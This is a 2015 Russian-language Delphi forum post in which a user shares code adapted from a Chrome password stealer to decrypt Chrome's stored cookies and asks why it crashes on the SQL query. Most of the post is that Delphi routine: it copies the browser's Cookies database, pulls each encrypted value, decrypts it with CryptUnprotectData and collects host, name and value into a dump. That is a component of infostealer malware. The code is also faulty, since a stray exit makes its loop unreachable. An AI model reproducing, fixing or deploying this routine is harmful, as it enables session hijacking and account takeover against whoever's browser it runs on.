декрипт куков хрома :3

[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]

Страница 1 из 1

Модератор форума: xXxSh@dowxXx, Anton93, Волк-1024

delfcode » Delphi » Вопросы по Delphi » декрипт куков хрома :3

декрипт куков хрома :3

d4rkzy

Дата: Понедельник, 31.08.2015, 11:37 | Сообщение # 1

Постоянный

Зарегистрирован: 15.11.2013

Группа: Пользователи

Сообщений: 135

Статус: Offline

Скопипастил код декрипта паролей хрома - проверил, все работает. Переделал под декрипт куков - в итоге получил код:

Код

function StartGetChromePass(sqlite3Dll: string; Delimitador: string): string;
var
   DB: TSQLiteDatabase;
   Tablo: TSQLiteTable;
   Sifre: string;
   Giren: DATA_BLOB;
   Cikan: DATA_BLOB;
   DataStream: TMemorystream;
   Arquivo, TempFile: string;
begin
   result := '';
   merdadll := sqlite3Dll;
   Arquivo := GetShellFolder($001C) + '\Google\Chrome\User Data\Default\Cookies'; //ou "web data" no antigo
   TempFile := MyTempFolder + inttostr(gettickcount) + '.tmp';
   if CopyFile(pchar(arquivo), pchar(TempFile), false) = false then exit;

   db := TSQLiteDatabase.Create(TempFile);

   tablo := DB.GetTable('SELECT * FROM cookies');
     exit;
   While not tablo.EOF do
   begin
     DataStream := TMemoryStream.Create;
     DataStream := tablo.FieldAsBlob(tablo.FieldIndex['encrypted_value']);
     Giren.pbData := DataStream.Memory;
     Giren.cbData := DataStream.Size;
     CryptUnProtectData(@Giren, nil,nil,nil,nil,0,@Cikan);
     SetString(sifre, PAnsiChar(Cikan.pbData), Cikan.cbData);
     Result := Result + 'Host: ' + tablo.FieldAsString(tablo.FieldIndex['host_key']) + #13#10;
     Result := Result + 'Name: ' + tablo.FieldAsString(tablo.FieldIndex['name']) + #13#10;
     Result := Result + 'Value: ' + sifre + #13#10 + #13#10;
     Tablo.Next;
   end;
   DeleteFile(pchar(TempFile));
end;

И крашицо на "tablo := DB.GetTable('SELECT * FROM cookies');" с ошибкой